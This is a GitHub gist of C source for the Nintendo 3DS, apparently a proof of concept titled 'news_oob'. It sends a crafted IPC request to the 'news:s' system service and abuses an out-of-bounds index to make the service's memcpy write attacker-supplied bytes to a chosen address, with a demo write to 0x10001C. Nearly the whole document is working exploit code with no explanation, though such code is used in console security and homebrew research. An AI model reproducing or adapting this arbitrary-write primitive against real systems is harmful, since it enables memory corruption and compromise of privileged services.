Skip to content

Instantly share code, notes, and snippets.

@kynex7510
Created June 21, 2025 13:32
Show Gist options
  • Save kynex7510/ed7131d47857e72dd104932f5fc01693 to your computer and use it in GitHub Desktop.
Save kynex7510/ed7131d47857e72dd104932f5fc01693 to your computer and use it in GitHub Desktop.
news_oob
#include <3ds.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define INDEX_READ_BASE (0x12F348 + 0x2BD4)
#define MEMCPY_DST_BASE (0x12F348 + 0x14)
static Result NEWS_SetNotificationHeaderOther(u32 ID, void* buffer, size_t size) {
Handle newsSession;
Result res = srvGetServiceHandle(&newsSession, "news:s");
if (R_FAILED(res))
return res;
u32 *cmdbuf = getThreadCommandBuffer();
cmdbuf[0] = IPC_MakeHeader(0x12, 2, 2);
cmdbuf[1] = ID;
cmdbuf[2] = 0;
cmdbuf[3] = IPC_Desc_Buffer(size, IPC_BUFFER_R);
cmdbuf[4] = (u32)buffer;
res = svcSendSyncRequest(newsSession);
if (R_SUCCEEDED(res))
res = cmdbuf[1];
svcCloseHandle(newsSession);
return res;
}
static u32 computeIndex(u32 addr) { return (addr - MEMCPY_DST_BASE) / 0x70; }
static u32 alignedAddr(u32 index) { return (index * 0x70) + MEMCPY_DST_BASE; }
static bool isAligned(u32 addr) { return addr == alignedAddr(computeIndex(addr)); }
static Result newsWrite(u32 index, const void* src, size_t size) {
if (size > 0x70)
svcBreak(USERBREAK_PANIC);
// Create buffer.
void* buffer = malloc(0x74);
if (!buffer)
svcBreak(USERBREAK_PANIC);
// Calculate ID for loading offset.
const u32 offsetInPage = (u32)buffer - ((u32)buffer & ~0xFFFu);
const u32 ID = ((0x04001000 + offsetInPage + 0x70) - INDEX_READ_BASE) >> 2;
// Prepare buffer.
memcpy(buffer, src, size);
memcpy((u8*)buffer + 0x70, &index, sizeof(u32));
// Do request.
Result ret = NEWS_SetNotificationHeaderOther(ID, buffer, 0x74);
free(buffer);
return ret;
}
int main(int argc, char* argv[]) {
gfxInitDefault();
consoleInit(GFX_TOP, NULL);
const u32 addr = 0x10001C;
printf("Attempting to write garbage to 0x%08lX...\n", addr);
if (!isAligned(addr)) {
printf("ERROR: not aligned, expected 0x%08lX\n", alignedAddr(computeIndex(addr)));
} else {
Result ret = newsWrite(computeIndex(addr), &main, 0x70);
printf("Result: 0x%08lX\n", ret);
}
while (aptMainLoop()) {
gspWaitForVBlank();
gfxSwapBuffers();
hidScanInput();
if (hidKeysDown() & KEY_START)
break;
}
gfxExit();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment